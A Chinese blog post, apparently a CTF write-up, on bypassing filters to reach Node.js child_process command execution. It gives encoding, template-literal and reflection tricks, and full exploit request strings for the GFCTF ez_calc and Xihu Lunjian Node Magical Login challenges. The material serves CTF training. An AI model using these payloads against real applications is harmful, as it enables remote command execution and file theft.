首页 前端知识 CTF题型 nodejs(1) 命令执行绕过&典型例题

CTF题型 nodejs(1) 命令执行绕过&典型例题

2024-06-02 09:06:49 前端知识 前端哥 854 209 我要收藏

CTF题型 nodejs(1) 命令执行绕过

文章目录

  • CTF题型 nodejs(1) 命令执行绕过
  • 一.nodejs中的命令执行
  • 二.nodejs中的命令绕过
    • 1.编码绕过
    • 2.拼接绕过
    • 3.模板字符串
    • 4.Obejct.keys
    • 5.反射
    • 6.过滤中括号的情况
    • 典型例题
      • 1.[GFCTF 2021]ez_calc
      • 2.[西湖论剑 2022]Node Magical Login

一.nodejs中的命令执行

正常的nodejs中命令执行

console.log(global.process.mainModule.require("child_process").execSync("whoami").toString());

动态的一种绕过某些限制(比如模块缓存或包管理器的限制)比如过滤了require的方法

global.process.mainModule.constructor._load("child_process").execSync("whoami")

global.process.mainModule.constructor._load来动态导入child_process模块

nodejs中如何访问属性

  1. 用 . 访问对象的属性
  2. 用 [] 访问属性

二.nodejs中的命令绕过

参考:https://www.anquanke.com/post/id/237032

回顾一下

命令执行的方式

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
在Node.js中,当使用child_process模块的execSync方法执行一个命令时,返回的是一个Buffer,而不是一个对象带有stdout属性。因此,尝试访问未定义的stdout属性会导致TypeError

回显直接用 .toString()方法

require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);

回显用 .stdout.toString() 往往和payload绑定在一起的

require("child_process").execFileSync('sleep', ['3']);

1.编码绕过

  1. 16进制绕过 \x61

  2. unicode编码绕过 ”反斜杠+u+码点” \u0061

  3. base64编码绕过

    eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())
    

这里是对字符操作,就是 被引号或者反引号包裹起来的字符

""
''
``

2.拼接绕过

  1. 加号拼接 + 拼接

  2. concat拼接

    "exe".concat("cSync")
    

3.模板字符串

nodejs中 `` 等价于 引号

比较特殊的是占位符 ${expression} 可以镶套变量
CTF中可以利用拼接字符串,绕过关键词过滤

`${}`被``包裹
`${`${`return proc`}ess`}`=return process

这里总结一下${}拼接的字符串,以便快速使用

process     	`${`${`proce`}ss`}`
prototype		`${`${`prototyp`}e`}`
get_process		`${`${`get_pro`}cess`}`
require			`${`${`requir`}e`}`
execSync		`${`${`exe`}cSync`}`
return process	`${`${`return proc`}ess`}`
constructor		`${`${`constructo`}r`}`
child_process	`${`${`child_proces`}s`}`

4.Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

image-20240326170342652

Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

等价于nodejs中的命令执行

5.反射

可以进行模糊调用,实际作用比不上模板字符串

Reflect这个关键字来实现反射调用函数的方式

要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

console.log(Reflect.ownKeys(global)) //返回所有函数

console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])//得到eval函数

替换成evconsole.log(global[Reflect.ownKeys(global).find(x=>x.includes('ev'))])也是可以的

image-20240326171348273

也可以替换为console.log(global[Reflect.ownKeys(global).find(x=>x.startsWith('eva'))])注意不是startswith

6.过滤中括号的情况

获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])`的作用是获取对象身上某个属性的值,类似于`target[name]

Reflect.get(global, Reflect.ownKeys(global).find(x => x.includes('eva')))("console.log(\"123\");");执行任意命令

image-20240326172937874

典型例题

1.[GFCTF 2021]ez_calc

image-20240326194648600

保证字符小写不是admin,大写又是ADMIN

考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制
同样的"K"的“小写”字符是k,也就是"K".toLowerCase() == ‘k’.
原理参考P牛文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

可以成功登录passwd=admin123&username=admın

到我们用F12查看源码时

F12获取的是浏览器解析后的源代码,可能会包含一些动态生成的内容

会发现泄露的源码


let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);

}

题目给了提示:

题目提示

1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有

可以在本地进行测试

image-20240326200746794

image-20240326200804581

非法字符后的都 替换成 ****

题目暗示传数组 本地测试后发现数组的length是传入的元素个数

image-20240326201656323

在第四个字符发现非法字符,但是slice是从第四的元素开始替换

存在逻辑问题,可以逃逸前四个字符(任意值)

会发现可以绕过这个判断实现逃逸

image-20240326202215728

因为禁止了 x 不能有exec

可以用require("child_process").spawn('sleep', ['3']);

直接调用 spawnSync('sleep', ['3']) 而没有将其结果赋值给一个变量时,Node.js 仍然会执行 sleep 命令并等待 3 秒,但你不会看到任何输出或结果,因为你没有处理这个返回的对象

将结果输出就可以了(就可以看到转圈)

calc[]=require('child_process').spawnSync('sleep',['3']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

可以成功执行命令

image-20240326203415285

现在的问题是如何读取flag

可以使用Object.keys方法 等价于execSync

Object.values(require('child_process'))[5]('sleep$IFS$93')

calc[]=Object.values(require('child_process'))[5]('sleep$IFS$93')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

可以成功执行

尝试读取flag 但是execSync一直没有回显,不太清楚为什么

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

尝试写入静态文件,将flag写入a中

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

利用require('child_process').spawnSync('nl',['a']).stdout.toString();读文件

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

image-20240326211932052

2.[西湖论剑 2022]Node Magical Login

题目给了docker和源码

https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login

登录源码

function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}

Math.random().toString()爆破不出了

image-20240326214243642

SECRET_COOKIE在环境变量中,也读不到

所以别想伪造了看看其他路由吧

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

只要cookie中user=admin就可以拿第一端flag

image-20240326215424052

NSSCTF{bdc4a03a-66cc

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

必须满足两个条件

1.checkcode.length === 16

2.抛出异常(toLowerCase()本意处理字符串但处理array会异常)

re1.body中用json传递checkcode数组

image-20240326215630625

可以得到完整flag

NSSCTF{bdc4a03a-66cc-4ebf-be7f-2b9f57ea7d49}

转载请注明出处或者链接地址:https://www.qianduange.cn//article/10527.html
评论
发布的文章

JQuery中的load()、$

2024-05-10 08:05:15

大家推荐的文章
会员中心 联系我 留言建议 回顶部
复制成功!